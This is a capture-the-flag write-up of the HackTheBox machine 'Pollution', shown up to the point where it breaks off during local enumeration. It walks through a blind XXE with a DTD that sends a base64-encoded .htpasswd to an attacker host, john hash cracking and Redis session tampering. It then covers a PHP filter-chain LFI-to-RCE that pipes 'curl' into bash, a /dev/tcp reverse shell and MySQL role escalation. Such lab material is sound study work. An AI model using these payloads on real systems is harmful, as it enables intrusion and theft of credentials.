Pollution

Platform : HackTheBox
Type : boot2root
Difficulty : ⭐⭐⭐⭐☆

Table of contents

Reconnaissance

Nmap scan

# Nmap 7.93 scan initiated Sat May 20 12:30:01 2023 as: nmap -A -p- -oN nmapResults.txt -d 10.129.228.126
--------------- Timing report ---------------
  hostgroups: min 1, max 100000
  rtt-timeouts: init 1000, min 100, max 10000
  max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
  parallelism: min 0, max 0
  max-retries: 10, host-timeout: 0
  min-rate: 0, max-rate: 0
---------------------------------------------
Nmap scan report for 10.129.228.126
Host is up, received syn-ack (0.044s latency).
Scanned at 2023-05-20 12:30:01 EDT for 29s
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 db1d5c65729bc64330a52ba0f01ad5fc (RSA)
|   256 4f7956c5bf20f9f14b9238edcefaac78 (ECDSA)
|_  256 df47554f4ad178a89dcdf8a02fc0fca9 (ED25519)
80/tcp   open  http    syn-ack Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Home
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
6379/tcp open  redis   syn-ack Redis key-value store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read from /usr/bin/../share/nmap: nmap-service-probes nmap-services.
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 20 12:30:30 2023 -- 1 IP address (1 host up) scanned in 28.52 seconds

Web reconnaissance

When navigating to the web application on port 80, the first thing we can see in the menu on top of the page is the login and register functionalities :

Lower on the page, we can see they are working on an API. It is said we need to register to use it. Since they are « in the process of » creating an API, it sounds like it is still in development, which means some functionnalities may not have been tested or secured correctly :

At the bottom of the page, there is a contact form. Next to it, we can a domain name, which can be useful for subdomain / virtual hosts fuzzing :

We can add the domain name we found in our /etc/hosts file :

┌──(kali㉿kali)-[~/…/HTB/CTF/Hard/Pollution]
└─$ cat /etc/hosts     
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

10.129.228.126  collect.htb

Using a fuzzing tool, we can try to find more virtual hosts / subdomains giving us access to potentially vulnerable web applications. I will use Gobuster :

┌──(kali㉿kali)-[~/…/HTB/CTF/Hard/Pollution]
└─$ gobuster vhost -u http://collect.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://collect.htb/
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2023/05/20 13:08:58 Starting gobuster in VHOST enumeration mode
===============================================================
Found: forum.collect.htb Status: 200 [Size: 14098]
Found: developers.collect.htb Status: 401 [Size: 469]
Progress: 114430 / 114442 (99.99%)
===============================================================
2023/05/20 13:17:55 Finished
===============================================================

We found two virtual hosts. developers.collect.htb responded with code 401 (Unauthorized) because it is protected by basic HTTP authentication, but forum.collect.htb is accessible. So, let’s add them to our /etc/hosts :

┌──(kali㉿kali)-[~/…/HTB/CTF/Hard/Pollution]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

10.129.228.126  collect.htb     forum.collect.htb       developers.collect.htb

Web reconnaissance (forum)

At the bottom of the page when navigating to forum.collect.htb, we can see the forum is powered by MyBB :

Fortunately, the installed version of MyBB is not affected by any CVE (at the time of doing this box). By going on the « Collect Forum », we can find different threads. Also, we can note the thread authors to create a wordlist of users that could be useful later. By searching for useful information on the different threads, we can notice the « Pollution API » is mentioned 3 times, but there is one thread that can contain sensitive information that could be exploited by an attacker : I had problems with the Pollution API. In this thread, a user complain about not being able to login to the API, and shares his proxy history :

To download the file, we need to be logged in. Since registrations are open, we can simply create an account on the forum and login. After we downloaded proxy_history.txt, we can see the different requests victor sent (I defanged out of scope URLs) :

HTTP methodURLIn scope ?
GEThxxps[://]storyset[.]com/for-figmaNo
POSThttp://collect.htb/set/role/adminYes
GEThxxp[://]detectportal[.]firefox[.]com/canonical[.]htmlNo
POSThttp://127.0.0.1:3000/auth/loginYes
GEThttp://collect.htb/Yes
GEThttp://forum.collect.htb/forumdisplay.php?fid=2Yes
GEThttp://forum.collect.htb/jscripts/jeditable/jeditable.min.jsYes
GEThttp://forum.collect.htb/jscripts/inline_edit.js?ver=1821Yes
GEThttp://forum.collect.htb/jscripts/rating.js?ver=1821Yes

One interesting request here is the POST request sent to http://collect.htb/set/role/admin. Let’s decode the POST data to see what was sent to the webserver :

┌──(kali㉿kali)-[~/…/CTF/Hard/Pollution/loot]
└─$ base64 -d request_post.txt > response_post.txt
                                                                                                                             
┌──(kali㉿kali)-[~/…/CTF/Hard/Pollution/loot]
└─$ cat response_post.txt 
POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

token=<REDACTED>

This endpoint seems to set the admin role for the current user linked to the PHPSESSID cookie used in the request. We can also see an API token sent in the token POST parameter. We can try to use it in order to obtain administrative access to the API. First, we need to create on account on the main web application at http://collect.htb/register. Then, we use our PHPSESSID cookie and the API token can send a POST request to http://collect.htb/set/role/admin to give us the admin role :

┌──(kali㉿kali)-[~/Documents/CTF/Hard/Pollution]
└─$ curl -X POST http://collect.htb/set/role/admin -H "Cookie: PHPSESSID=ulo8g01rresrilb183h0nv69h7" -d 'token=<REDACTED>' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Host collect.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.228.126
*   Trying 10.129.228.126:80...
* Connected to collect.htb (10.129.228.126) port 80
* using HTTP/1.x
> POST /set/role/admin HTTP/1.1
> Host: collect.htb
> User-Agent: curl/8.15.0
> Accept: */*
> Cookie: PHPSESSID=ulo8g01rresrilb183h0nv69h7
> Content-Length: 38
> Content-Type: application/x-www-form-urlencoded
> 
* upload completely sent off: 38 bytes
< HTTP/1.1 302 Found
< Date: Tue, 14 Oct 2025 19:48:49 GMT
< Server: Apache/2.4.54 (Debian)
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Location: /admin
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
< 
* Connection #0 to host collect.htb left intact

As we can see, the server responded with 302 (Found) and redirects us to /admin in the Location header. By accessing this endpoint with our web browser, we can find the following form :

It allows us to register a new user to the « Pollution API ». We can try to exploit this functionnality or simply create a new API user to test the API itself.

Initial access

XXE injection

When looking at the POST request sent to the API when registering a new user, we can see XML data being send. We can test if this functionality is vulnerable to XXE / XEE (XML External Entity) injections. The following is a legitimate request captured with BurpSuite when creating a new API user :

Request

Response

POST /api HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 172
Origin: http://collect.htb
Connection: close
Referer: http://collect.htb/admin
Cookie: PHPSESSID=bd908jkqtg4eg0ae57jmor56qm

manage_api=<?xml version="1.0" encoding="UTF-8"?><root><method>POST</method><uri>/auth/register</uri><user><username>test</username><password>test</password></user></root>
HTTP/1.1 200 OK
Date: Sat, 20 May 2023 18:27:34 GMT
Server: Apache/2.4.54 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: application/json
Content-Length: 15

{
  "Status":"Ok"
}

Since none of the data in the XML we send is returned, we will try to exploit a Blind XXE injection. First, let’s write a malicious .dtd (Document Type Definition) file on our attacking host :

┌──(kali㉿kali)-[~/…/CTF/Hard/Pollution/exploits]
└─$ cat exploit.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/developers/.htpasswd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://10.10.16.17/?x=%file;'>">
%eval;
%exfiltrate;

If the target host loads our malicious DTD file, it will read the content of /var/www/developers/.htpasswd, encode it in base64, and send the encoded data to our web server in the x GET parameter. We can run a simple Python web server to host the malicious file and also listen for the exfiltrated content :

┌──(kali㉿kali)-[~/…/CTF/Hard/Pollution/exploits]
└─$ python3 -m http.server 80 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

We will use the following payload in the request we will send to the server :

XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://10.10.16.17/exploit.dtd">%xxe;]>
<root>
  <method>POST</method>
  <uri>/auth/register</uri>
  <user>
    <username>test</username>
    <password>test</password>
  </user>
</root>

This payload will include our malicious DTD and the server should interpret it if it is vulnerable to blind XXE / XEE injections. Now that everything is set up, we can send the following request :

HTTP
POST /api HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 248
Origin: http://collect.htb
Connection: close
Referer: http://collect.htb/admin
Cookie: PHPSESSID=bd908jkqtg4eg0ae57jmor56qm

manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://10.10.16.17/exploit.dtd">%xxe;]><root><method>POST</method><uri>/auth/register</uri><user><username>test</username><password>test</password></user></root>

After sending this request, we should have received two requests from the target host on our web server :

┌──(kali㉿kali)-[~/…/CTF/Hard/Pollution/exploits]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.228.126 - - [20/May/2023 14:51:10] "GET /exploit.dtd HTTP/1.1" 200 -
10.129.228.126 - - [20/May/2023 14:51:10] "GET /?x=<REDACTED> HTTP/1.1" 200 -

We successfully exploited a blind XXE / XEE injection. The server loaded our malicious DTD and sent us back the content of /var/www/developers/.htpasswd. We can decode the data received in the x GET parameter :

┌──(kali㉿kali)-[~/…/CTF/Hard/Pollution/exploits]
└─$ echo '<REDACTED>' | base64 -d
developers_group:<REDACTED>

The decoded data contains a username and a password hash.

Hash cracking

The hash we exfiltrated by exploiting an XXE is in md5crypt format. We can try to crack it using john or hashcat. If we successfully crack it :

┌──(kali㉿kali)-[~/…/CTF/Hard/Pollution/exploits]
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt 
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<REDACTED>           (developers_group)     
1g 0:00:00:01 DONE (2023-05-20 14:57) 0.7407g/s 158577p/s 158577c/s 158577C/s rasfatata..puppyluver
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

John successfully cracked the hash, and we can now use the username and the password to access http://developers.collect.htb.

Bypass developers login page

After passing the basic authentication, we are redirected to another login page :

The credentials for the basic authentication will not work on this login page. Since we don’t have any valid credentials for it, we will need to look somewhere else… We could use the XXE we exploited earlier to read the content of /var/www/developers/login.php :

PHP
<?php
require './bootstrap.php';


if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) {
    die(header('Location: /login.php'));
}

if (!isset($_GET['page']) or empty($_GET['page'])) {
    die(header('Location: /?page=home'));
}

$view = 1;

?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="assets/js/tailwind.js"></script>
    <title>Developers Collect</title>
</head>

<body>
    <div class="flex flex-col h-screen justify-between">
        <?php include("header.php"); ?>
        
        <main class="mb-auto mx-24">
            <?php include($_GET['page'] . ".php"); ?>
        </main>

        <?php include("footer.php"); ?>
    </div>

</body>

</html>

The script checks if the session variable auth is true. If so, we are logged in. We can also see a call to the include function using the GET parameter, which means it is vulnerable to Local File Inclusion (LFI). The script includes bootstrap.php, which may contain information about the database being used to manage the authentication on this web application. Again, using the XXE, we can read /var/www/developers/bootstrap.php :

PHP
<?php

ini_set('session.save_handler', 'redis');
ini_set('session.save_path', 'tcp://localhost:6379/?auth=<REDACTED>');

session_start();

So, this web application is saving PHP sessions in a Redis database, and we also have the password for it. Since redis is exposed, we can connect to it and use the password we just found in order to edit our PHP session variables and set auth to true. This way, we can « login » to the web application without even finding valid credentials :

┌──(kali㉿kali)-[~/…/HackTheBox/CTF/Hard/Pollution]
└─$ redis-cli -h 10.129.228.126
10.129.228.126:6379> AUTH <REDACTED>
OK
10.129.228.126:6379> KEYS *
1) "PHPREDIS_SESSION:vcjp6h80nijqehjt3ld01k5j69"
2) "PHPREDIS_SESSION:ptcdcq9n0koo1hspdb2ottd28q"
10.129.228.126:6379>

We can check our PHP session cookie in our web browser to see which one is ours :

Now, we can edit our session variables and set auth to « True » :

10.129.228.126:6379> set PHPREDIS_SESSION:vcjp6h80nijqehjt3ld01k5j69 "auth|s:4:\"True\";"
OK

After refreshing the page on our web browser, we should have access to a new dashboard :

We have now access to the dashboard and we can now try to exploit the LFI we found earlier by reading the PHP source code. But simply exploiting a LFI to read arbitrary files will not be very useful since we can already do this by exploiting the XXE on the first web application. What can be useful here is to try to exploit a Local File Inclusion to Remote Code Execution (LFI2RCE). If exploited successfully, we can obtain a reverse shell on the target system. Such technique can be achieved using php_filter_chain_generator :

┌──(kali㉿kali)-[~/php_filter_chain_generator]
└─$ python3 php_filter_chain_generator.py --chain '<?=`curl 10.10.15.25|bash`?>'
[+] The following gadget chain will generate the following code : <?=`curl 10.10.15.25|bash`?> (base64 value: PD89YGN1cmwgMTAuMTAuMTUuMjV8YmFzaGA/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

The PHP payload I use will fetch the index.html page on my web server and pipe it to bash to execute it. The index.html page will contain the following :

┌──(kali㉿kali)-[~/…/CTF/Hard/Pollution/exploits]
└─$ cat index.html 
#!/bin/bash

/bin/sh -i >& /dev/tcp/10.10.16.17/4242 0>&1
                                                              
┌──(kali㉿kali)-[~/…/CTF/Hard/Pollution/exploits]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Before trigerring the RCE, we need to start a listener :

┌──(kali㉿kali)-[~/php_filter_chain_generator]
└─$ nc -lnvp 4444
listening on [any] 4444 ...

We can finally trigger the RCE by passing the filter chain payload to the page GET parameter at http://developers.collect.htb/?page=<PAYLOAD>. We should receive a connection on our listener :

┌──(kali㉿kali)-[~/php_filter_chain_generator]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.15.25] from (UNKNOWN) [10.129.228.126] 59328
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

We have now access to the target system as www-data. The reverse shell can be stabilized before performing local reconnaissance :

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@pollution:~$ export TERM=xterm
export TERM=xterm
www-data@pollution:~$ ^Z
zsh: suspended  nc -lnvp 4444
                                                                                                                                                                     
┌──(kali㉿kali)-[~/php_filter_chain_generator]
└─$ stty -echo raw; fg                                                                 
[1]  + continued  nc -lnvp 4444

www-data@pollution:~$ 

Post-exploitation

Local reconnaissance

Looking in /var/www/collect/, we can find a file called config.php. It contains the following :

PHP
<?php


return [
    "db" => [
        "host" => "localhost",
        "dbname" => "webapp",
        "username" => "webapp_user",
        "password" => <REDACTED>,
        "charset" => "utf8"
    ],
];

We have the credentials for MySQL. Let’s connect to it and see if we can find some useful informations :

www-data@pollution:~$ mysql -u webapp_user -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 491
Server version: 10.5.15-MariaDB-0+deb11u1 Debian 11

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| developers         |
| forum              |
| information_schema |
| mysql              |
| performance_schema |
| pollution_api      |
| webapp             |
+--------------------+
7 rows in set (0.001 sec)

The pollution_api database seems interesting. Let’s list its tables :

MariaDB [(none)]> use pollution_api
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [pollution_api]> show tables;
+-------------------------+
| Tables_in_pollution_api |
+-------------------------+
| messages                |
| users                   |
+-------------------------+
2 rows in set (0.000 sec)

There is a users table, which may contain password / hashes. We can list all records in this table :

MariaDB [pollution_api]> select * from users;
+----+----------+----------+------+---------------------+---------------------+
| id | username | password | role | createdAt           | updatedAt           |
+----+----------+----------+------+---------------------+---------------------+
|  1 | test     | test     | user | 2023-05-20 18:09:54 | 2023-05-20 18:09:54 |
|  2 | test2    | test     | user | 2023-05-20 18:27:34 | 2023-05-20 18:27:34 |
+----+----------+----------+------+---------------------+---------------------+

As we can see, the only users in this table are the ones we created during our tests. So no useful password / hashes here. We can notice the password are stored in clear-text, which is very insecure. There is also a role column, suggesting that there are administrator features on the API that we have not yet had access to.

For now, there is nothing more useful to find on MySQL. Let’s move on and enumerate more. Remember, in the proxy history we found earlier, a request was made to http://127.0.0.1:3000/ which seems to be the Pollution API. Let’s make a simple GET request with curl :

www-data@pollution:~/collect$ curl localhost:3000
{"Status":"Ok","Message":"Read documentation from api in /documentation"}

The API gives us the route to the documentation. It may disclose potentially vulnerable features :

www-data@pollution:~/collect$ curl localhost:3000/documentation
{"Documentation":{"Routes":{"/":{"Methods":"GET","Params":null},"/auth/register":{"Methods":"POST","Params":{"username":"username","password":"password"}},"/auth/login":{"Methods":"POST","Params":{"username":"username","password":"password"}},"/client":{"Methods":"GET","Params":null},"/admin/messages":{"Methods":"POST","Params":{"id":"messageid"}},"/admin/messages/send":{"Methods":"POST","Params":{"text":"message text"}}}}}

When trying to send a request to /admin/messages/send, we receive the following response :

www-data@pollution:~$ curl localhost:3000/admin/messages/send
{"Status":"Error","Message":"You are not allowed"}

We may need to authenticate to the API first at /auth/login :

www-data@pollution:~$ curl -X POST localhost:3000/auth/login -d '{"username":"test","password":"test"}' -H "Content-Type: application/json"
{"Status":"Ok","Header":{"x-access-token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzYwNTIwMzA2LCJleHAiOjE3NjA1MjM5MDZ9.LhtFgLaCFEqO8in3QKAGsAP9P4pB38nJ_kPQiOa1ImI"}}

Now, if we use the token given in the response, we can try to send a request to /admin/messages/send again :

www-data@pollution:~$ curl -X POST localhost:3000/admin/messages/send -H "Content-Type: application/json" -H "x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzYwNTIwMzA2LCJleHAiOjE3NjA1MjM5MDZ9.LhtFgLaCFEqO8in3QKAGsAP9P4pB38nJ_kPQiOa1ImI"
{"Status":"Error","Message":"You are not allowed"}

We are still not allowing to send requests to this endpoint. It may be because it is reserved to users with the admin role. We can go back to the MySQL database, set our role to admin, and try again :

www-data@pollution:~$ mysql -u webapp_user -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 506
Server version: 10.5.15-MariaDB-0+deb11u1 Debian 11

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> use pollution_api
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [pollution_api]> UPDATE users SET role="admin" WHERE username="test";
Query OK, 1 row affected (0.003 sec)
Rows matched: 1  Changed: 1  Warnings: 0

MariaDB [pollution_api]> SELECT * FROM users;
+----+----------+----------+-------+---------------------+---------------------+
| id | username | password | role  | createdAt           | updatedAt           |
+----+----------+----------+-------+---------------------+---------------------+
|  1 | test     | test     | admin | 2023-05-20 18:09:54 | 2023-05-20 18:09:54 |
|  2 | test2    | test     | user  | 2023-05-20 18:27:34 | 2023-05-20 18:27:34 |
+----+----------+----------+-------+---------------------+---------------------+
2 rows in set (0.001 sec)

Now, if we try again, we should be allowed to send requests to admin endpoints :

www-data@pollution:~$ curl -X POST localhost:3000/admin/messages/send -H "Content-Type: application/json" -H "x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTY4NDYzMDA5NSwiZXhwIjoxNjg0NjMzNjk1fQ.c2l9iEDpg8gt8LBPHZWCKI6iY9X9YI5vDNBjZ3GbFis"
{"Status":"Error","Message":"Parameter text not found"}

But even if we have access to admin endpoints on the API, we still do not know how to exploit them. We need to understand more how the API works. More enumeration is needed. By looking in /home, we can notice another local user :

www-data@pollution:~$ ls -la /home
total 12
drwxr-xr-x  3 root   root   4096 Nov 21  2022 .
drwxr-xr-x 19 root   root   4096 Nov 21  2022 ..
drwx------ 16 victor victor 4096 Nov 21  2022 victor

By listing processes running as victor, we can find something interesting :

www-data@pollution:~$ ps aux | grep victor
victor       965  0.0  0.3 265840 15780 ?        S    03:29   0:00 php-fpm: pool victor
victor       966  0.0  0.3 265840 15780 ?        S    03:29   0:00 php-fpm: pool victor
www-data    2635  0.0  0.0   6608   708 pts/0    S+   05:45   0:00 grep victor

